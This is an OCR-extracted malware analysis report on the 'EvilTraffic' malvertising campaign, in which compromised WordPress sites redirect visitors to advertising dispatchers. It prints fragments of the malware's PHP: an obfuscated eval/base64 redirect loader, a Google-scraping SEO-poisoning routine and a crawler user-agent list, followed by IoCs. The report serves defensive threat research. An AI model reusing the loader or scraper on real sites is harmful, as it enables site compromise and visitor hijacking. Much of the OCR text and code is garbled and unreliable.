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Introduction

When the advertising banners are no longer effective to generate revenues
because of spreading of adblockers, you have two chances:

¢ Inject a Javascript cryptocurrency miner in your web pages;
e Compromise a set of vulnerable websites creating a huge redirect chain
towards advertising websites and hijack all visitors to it.

Actually, both the methods are used, a Coinhive Javascript script allows to
mine Monero coins simply keeping open a webpage in the visitors’ browser.
(http://securityaffairs.co/wordpress/66204/hacking/cryptocurrency-miners-
browser.html ); the second one will be detailed in this report through the
analysis of a recently discovered campaign.

In the last days of 2017, researchers at CSE Cybsec observed threat actors
exploiting some CMS vulnerabilities to upload and execute arbitrary PHP
pages used to generate revenues via advertising.

The malvertising campaign was tracked as Operation EvilTraffic.

The malvertising chain

The compromised websites involved in the Operation EvilTraffic run various
versions of the popular WordPress CMS. Once a website has been
compromised, attackers will upload a “zip” file containing all the malicious
files. Despite the “zip” file has different name for each infection, when it is
uncompressed, the files contained in it have always the same structure. We
have found some of these archives not used yet, so we analyzed their
content.
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The malicious files are inserted under a path referring probably different
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versions of the same malware (“vomiu”, “blsnxw”, “yrpowe”, “hkfoeyw”,
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“agkei”, “xbiret”, “slvkty”).
Under this folder there are:

- a phpfile, called “lerbim.php”;

- aphp file, that has the same name of the parent dir; it has initially
“.suspected” extension and only in a second time, using “lerbim.php”
file, it would be changed in “php”file;

- two directories, called “wtuds” and “sotpie”, containing a series of files.

An example of this structure is shown in the Figure 1.:

compromisedsite/{malw_name}/

- {malw_name}.php

- lerbim.php [?) Lerbim php 2017-12-18 00:27 252
- wtuds/
- car ) sotpie/ 2017-12-2222:08 -
- g ) o N
= news [?) vomiuphp 2017-12-18 15:25 6.8K
- sotpie/ £ wiuds 2017-12-27 06:51 -
= 1<EXE
- 6.txt
= 11EXE

Figure 1 - Malicious files

The main purpose of the “malware” used by crooks behind the Operation
EvilTraffic is to trigger a redirecting chain through at least two servers which
generate advertising traffic.

The file “{malw_name}.php” becomes the core of all this context: if it is
contacted by the user through the web browser, it redirects the flow first to
“caforyn.pw” and then to “hitcpm.com”, which acts as dispatcher to different
sites registered to this revenue chain.

CSE CyberSec Enterprise SPA

Via G.B. Martini 6, Rome, Italy 00100, Italia
Email: info@csecybsec.com

Website: www.csecybsec.com


mailto:info@csecybsec.com
http://csecybsec.com/

| compromised_site_1

| compromised_site_2

caforyn.pw/for/77/?d={compromised_site}&mykeys={keyword}

| compromised_site_3 |//

| hitcom.com/watch?key={keycode} ‘

‘ compromised_site_n — -
/ \

’ advertisin}_site_l | | advertising_site_n |

‘ advertising_site_2 |

Figure 2 - Redirection flow

These sites could be used by attackers to offer commercial services that aim
to increase traffic for their customers, but this traffic is generated in an illegal
way by compromising websites. The sites could host also fraudulent pages
which pretend to download suspicious stuff (i.e. Toolbars, browser extensions
or fake antivirus) or steal sensitive data (i.e. credit card information).
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Figure 3 - Examples of malicious pages

In order to increase the visibility of the web, the compromised sites must have
a good page-rank on search engines. So, the malware performs SEO
Poisoning by leveraging on wordlist containing the trending searched words
as shown in the following figure:
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Girlfriend left me for
another man

Jan 29, 2015 It's best to be cautious. Things were not great for the
last year of the relationship as she started to treat me pretty badly
but I stuck with it because I didn't want to give up on her. You hate
that it is, but it is. The woman you love fell for someone else and in
the process tossed you aside. If you say "my girlfriend left me for
another guy, what do I do?" first I congratulate you for not just
leaving it be and fighting to get your girlfriend back. The problem
is, if you do get back together, how to maintain that closeness
without getting dumped again. Your brain is telling you that you
need to forget about her and move on, but vour heart won't listen. I
was talking with this girl once before and she ended up lying to me
(never date a chick who lies to you like that) because she was going
to break up with her current bf for me (vou were foolish to assume
you were different and that she would not date some other guy
behind your My girlfriend of 4 years who I was planning on
spending the rest of my life with left me for another guy. . I was
with her for 3 years until she broke up with me 2 months ago and
went out with this guy who she lied to me about when we was
together she hid his number in her phone and then we had a
argument about it she cheated on me once but i forgave her for it.
com/ How Lying To You What To Do If Your Girlfriend Leaves You
For Another Man www. It's you. She didna€™ look at him . I ran
into him and said, "I thought you were the one she wanted. Ia€™m
in the exact position you were before yvou had vour first girlfriend.
Now mind you I am only 20 years old so I am young but I was
really blind sided by this. However, your ex did break up with you
for a reason. "My ex-girlfriend took up with another guy. They
ended up divorcing about four or five vears into it. I know the

Figure 4 - On left: files named as search engines trends; on right: content of one of the files

Each row represents a trend on Google, such as “girlfriend-left-me-for-
another-man” ( ®) ).

On the compromised site, this row point to a file containing the results of the
first two pages of the corresponding query on the search engine. All the files
containing the query results are in the “wtuds” and “sotpie” folders. Using this
trick, when a user searches for the specific phrase on a search engine, it will
index the compromised site inviting the user to click it and to start the revenue
redirects.
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Figure 5 - The content of the files represents the search engines results

The population of the compromised site with the wordlists and their relative
query results is triggered contacting the main php using a specific User-Agent
on a path “{malw_name}/{malw_name}.php?vm={keyword}”.

"#hsk\s*Jeeves#i', "#HP\s*Web\s*PrintSmart#i', "#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
'#ListChecker$#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '"#RPT-HTTPClient#i',
"#rulinki\.ru$i', '"$#Twiceler#i', '#WebRlta#i', '"#Webster\s*Pro#i','#www\.cys\.ru#i',
"#Wysigot#i', '#Yahoo!\s*Slurp#i', "#Yeti$#i', '#Rccoona#i', "#CazoodleBot#i',
'"#CFNetwork#i', '#ConveraCrawler#i', "#DISCo#i', '#Download\s*Master#i', '#FLST\s*MetaWeb\s*Crawler#i',
'#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia archiver#i', '#ichiro#i',
'"#IRLbot#i"', '#Java#i', '"#km\.rul\s*bot#i', '#kmSearchBot#i', '"#libwww-perl#i’',
"#$Lupal\.ru$i', "#LWP::Simple#i', "#lwp-trivial#i', '#Missigua#i', "#MJI12bot#i',

'#msnbot#i', '#msnbot-media#i', '#0ffline\s*Explorer#i', '#OmniExplorer Bot#i',

'"$#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', "#SMILE#i',

'#Speedy#i', '#Teleporth\s*Pro#i', '#TurtleScanner#i', '#User-Rgent#i', '#voyager#i',
'#Webalta#i', "#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

"#Yandex#i', '#Yanga#i', "#Yeti#i', "#msnbot#i’,

'#spider#i', '#vahoo#i', '#jeeves#i' , "#google#i' , "#altavista#i',

'#scooter#i' , '#avis*fetch#i' , '"#asterias#i' , '#spiderthread revision#i' ,'#sgworm#i',
"#ask#i' , "#lycos.spider#i' , '#infoseek sidewinder#i' , '#ultraseek#i' , '#polvbot#i',
"#webcrawler#i', '#robozill#i', '"#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i’,
'#charlotte#i', '#ngb#i', "#BingBot#i' )

Figure 6 - The user-agents accepted by the php

CSE CyberSec Enterprise SPA

C.&ST= Via G.B. Martini 6, Rome, Italy 00100, Italia

Email: info@csecybsec.com
Website: www.csecybsec.com


mailto:info@csecybsec.com
http://csecybsec.com/

The query is done using the CURL library for PHP, as reported in the figure:
#or [Sgoogle_n= ;Sgoogle_n{ ;Sgoogle_n=3google_n— }

Sch = curl init():

curl_setopt[scn, CURLOPT URL, "http://www.google.com/search?g=3§query pars_ 2&start=jgoogle n"):
curl_setopt(éch, CURLOPT RETURNTRANSFER, 05

féresult = curl exec($ch):

curl close($ch);

féresult = str_replace("\r\n", "", $result):

Sresult = str_replace("\n", "", Sresult):

preg match all ("F<span class=\"zt\">(.*)</2pan>¥ilU", Sresult, 5m) ;

foreach (Sm[l] as %a) Stext .= Sa;

Figure 7 - The code with which the malware obtains the results from search engines

Moreover, the malware obfuscates the link to “caforyn.pw” using simple php
encoding:

$RN5255 = "Ohz14bp35wvtr)uéje79ig2 o:xklnem(gsfd*ya/8." :$wWT675 = $RN5255[6] . $RN5255[12] . SRN5255[17] . $RN5255[33] .
SRN5255[23] . $RN5255[12] . $RN5255[17] . SRN5255[6] . SRN5255[28] . $RN5255[39] . $RN5255[30] . $RN5255[17] ;

$kJx5370 = "ev".chr(97)."".chr(108)." (".chr(103)."".chr(122)."".chr(105) ."n".chr(102) ."".chr (108) ."a\x74e\x28\x62" .
chr(97) ."se\x36" .chr (52) ."".chr (95) . "de\x63\x6Fd" .chr (101) ."".chr (40) ."";

$HZzO0dat3568 = "".chr(41) ."\x29\x29\x3b";$nI504 = $kJx5370.

"'yOhNTEkt01DyyUSOLMnMz7NSyCgpKbDS1090TMsvgszTKy JXBzL0zc3tUZ2xVULRYKINTRKA4ttVSCOkgY1AA==""",
$HZzOdat3568 ; SwW7675 (SRN5255[40] . SRN5255[42] . §RN5255[37] . $RN5255[40] . $RN5255[17], $nI504 ,"691");

Decoded Output

header( ] IIE

Figure 8 - Obfuscated code represents the redirect link

Obviously, the wordlists must be updated in order to make the compromised
sites be present among search engines results. This task could be likely done
using a bot which retrieves the search engines’ trends (public information)
and dispatches these new words to the php file on the compromised host.

Through the chain, in every request, the sites send each other some
parameters (sent through HTTP GET query) in order to keep track of all the
redirecting flow:
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- “d”:indicates the compromised host from which the request comes.

- “mykeys” : indicates the keyword belonging to the wordlists trend
(previously explained) used to retrieve the compromised URL by search
engine.

- “key” : is a code calculated by “caforyn.pw” using the previously
parameters and indicates the advertising campaign on which
“hitcom.com” will redirect the user.

In conclusion, using Google we determined that roughly 18.100 websites
were compromised by the crooks using a custom Kkit:

GO gle inurl:wtuds

Tutti Maps Immagini Video Notizie A

Circa 18.100 risultati (0,29 secondi)

Figure 9 - Number of compromised sites

While we were analyzing the EvilTraffic malvertising campaign, we realized
that most of the compromised web sites used in the first weeks of the attacks
have been cleaned up in the last days. justin one week the number of
compromised web sites dropped from around 35k to 18k.

Statistics

According to Alexa Traffic Rank hitcpm.com is ranked number 132 in the
world and 0.2367% of global Internet users visit it. Below are reported some
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traffic statistics related to hitcpm.com provided by hypestat.com

Alexa Traffic Ranks

How is this site ranked relative to other sites?

Global Rank

100

¢ 132
1000 /
- Rank in India

= 67
-’«pr'l'IT Jul '17 Oct '17
Figure 10 - Hitcpm.com rank
Daily Unique Visitors 1,183,500
Monthly Unique Visitors 35,505,000
Pages per visit 1.41
Daily Pageviews 1,668,735

Analyzing the traffic statistics, we found that there has been an exponential
increase of the traffic during October 2017.

Jul*17 Aug'17 sep 17 Oct"7 Nov'17 Dec'17
Figure 11 - Traffic stats

Considering all traffic sources of hitcpm.com, they can be divided as follows,
thanks to similarweb.com:
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Figure 12 - Traffic sources

The above image shows that 39,01% of traffic is generated from Referrals.

We found at least 1k web sites acts as a proxy to hitcpm.com and most of
them are legit compromised website.

Top Referring Sites: ®

inkshrink.net 17.11%

v 5.29%

R rarbg.to 8.92%

v 20.80%

® ouoiio 3.25% hitcpr.cor

~ 164.6%

B 2/ tube.ty 2.64%
~162.9%

1k websites
& dizilab.net 2.34%

~ 89.96%

Figure 13 - Websites related to hitcpm

Following we see a small part of the referrer sites:
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WwWW. limooe . com

cz.realix.co
dx.prairieroselaces.com
vw.lurkdns. com
nl.mementocosmico. com.br
vH.teachery.us
gj.suanloy.com
it.chzeyubpoh.com
sm.socalcushions. com
ym.lizbharretccommunicacions.com
1f.cercifiedsolutioninec. com
os.kikaradz.com
lg.wopministries.org
ni.l23spiritcs.com
rz.romkh.com
tc.lavalicorice.com
sX.s5centwWworkacrosstexas.com
rkb.schlopps.com
hb.aboutmichaelaguilar.com
lt.malibuslumlord.net
ox.envirosafety.co.in
to.codinggamesforkids. com
gv.frenchtouchcleaningservice.com
bh.l00percentbullylife.com

Figure 14 - Referrer sites

We found that there is also a malicious software, related to hitcpm.com,
which acts as browser hijacker. It is distributed via various methods, such as:

e Attachment of junk mail

e Downloading freeware program via unreliable site
e Open torrent files and click on malicious links

e By playing online games

e By visiting compromised websites

The main purpose of the malware is to hijack web browsers changing
browser settings such as DNS, settings, homepage etc. in order to redirect as
more traffic as possible to the dispatcher site.
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Figure 15 - Hijacking

loCs

Components present on compromised sites

. path: “/wtuds”

. path: “/vomiu”

. path: “/sotpie”

. file extension: “.suspected”
. filename: “vomiu.php”

. filename: “zotpie.php”

. filename: “otiarw.php”

. filename: “vomiu.php.suspected”
. filename: “lerbim.php”

. filename: “blsnxw.php”

. filename: “yrpowe”,php

. filename: “hkfoeyw.php”

. filename: “agkei.php”

. filename: “xbiret.php”

. filename: “slvkty.php”

Network loCs

. url: “caforyn.pw”
. url: “superasdc.pw”
. url: “hitcpm.com”
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